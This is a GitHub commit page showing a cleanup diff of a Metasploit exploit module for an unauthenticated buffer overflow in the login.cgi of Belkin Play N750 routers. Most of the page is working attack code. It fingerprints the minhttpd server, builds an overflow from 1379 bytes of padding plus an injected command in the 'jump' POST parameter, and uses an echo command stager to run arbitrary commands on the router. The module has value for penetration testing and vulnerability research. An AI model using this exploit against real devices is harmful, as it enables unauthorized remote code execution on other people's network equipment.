Skip to content

Commit 5499b68

Browse files
committed
Do code cleanup
1 parent 2eab258 commit 5499b68

File tree

1 file changed

+32
-27
lines changed

1 file changed

+32
-27
lines changed

modules/exploits/linux/http/belkin_login_bof.rb

Lines changed: 32 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -6,25 +6,25 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = ManualRanking
9+
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::CmdStager
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Belkin login.cgi Buffer Overflow (minhttpd)',
16+
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',
1717
'Description' => %q{
18-
This module exploits a remote buffer overflow vulnerability on several Belkin routers.
19-
The vulnerability exists in the handling of HTTP queries to the login.cgi with
20-
long jump values. The vulnerability can be exploitable without authentication.
21-
This module was tested in an emulated environment only. Several Belkin routers with
22-
firmware 1.10.16.m are affected.
18+
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
19+
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
20+
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
21+
remote unauthenticated attackers to execute arbitrary code. This module was tested in
22+
an emulated environment, using the version 1.10.16.m of the firmwarey.
2323
},
2424
'Author' =>
2525
[
26-
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and initial Metasploit module (telnetd)
27-
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module with echo stager
26+
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
27+
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
2828
],
2929
'License' => MSF_LICENSE,
3030
'Platform' => ['linux'],
@@ -35,33 +35,39 @@ def initialize(info = {})
3535
['EDB', '35184'],
3636
['BID', '70977'],
3737
['OSVDB', '114345'],
38-
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'], #advisory
39-
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831'] #vendor site with update
38+
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
39+
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
4040
],
4141
'Targets' =>
4242
[
4343
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',
4444
{
45-
'Offset' => 1379,
45+
'Offset' => 1379,
4646
}
4747
]
4848
],
49-
'DefaultOptions' => {
50-
'RPORT' => 8080
51-
},
52-
'DisclosureDate' => 'May 09 2014',
53-
'DefaultTarget' => 0))
49+
'DefaultOptions' =>
50+
{
51+
'RPORT' => 8080
52+
},
53+
'DisclosureDate' => 'May 09 2014',
54+
'DefaultTarget' => 0))
5455
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
5556
end
5657

5758
def check
5859
begin
5960
res = send_request_cgi({
6061
'method' => 'GET',
61-
'uri' => "/"
62+
'uri' => '/'
6263
})
6364

64-
if res && [200, 301, 302].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /minhttpd/ and res.body =~ /u_errpaswd/
65+
if res &&
66+
[200, 301, 302].include?(res.code) &&
67+
res.headers['Server'] &&
68+
res.headers['Server'] =~ /minhttpd/ &&
69+
res.body =~ /u_errpaswd/
70+
6571
return Exploit::CheckCode::Detected
6672
end
6773
rescue ::Rex::ConnectionError
@@ -82,26 +88,25 @@ def exploit
8288
execute_cmdstager(
8389
:flavor => :echo,
8490
:linemax => 200,
85-
:concat_operator => " ; "
91+
:concat_operator => ' ; '
8692
)
8793
end
8894

8995
def prepare_shellcode(cmd)
90-
shellcode = rand_text_alpha_upper(target['Offset']) # padding
91-
shellcode << "e" << cmd
96+
shellcode = rand_text_alpha_upper(target['Offset'])
97+
shellcode << 'e' << cmd
9298
shellcode << "\n\n"
9399
end
94100

95101
def execute_command(cmd, opts)
96102
shellcode = prepare_shellcode(cmd)
97103
begin
98104
res = send_request_cgi({
99-
'method' => 'POST',
100-
'uri' => "/login.cgi",
101-
'encode_params' => true,
105+
'method' => 'POST',
106+
'uri' => '/login.cgi',
102107
'vars_post' => {
103-
'GO' => '',
104-
'jump' => shellcode,
108+
'GO' => '',
109+
'jump' => shellcode,
105110
}
106111
})
107112
return res

0 commit comments

Comments
 (0)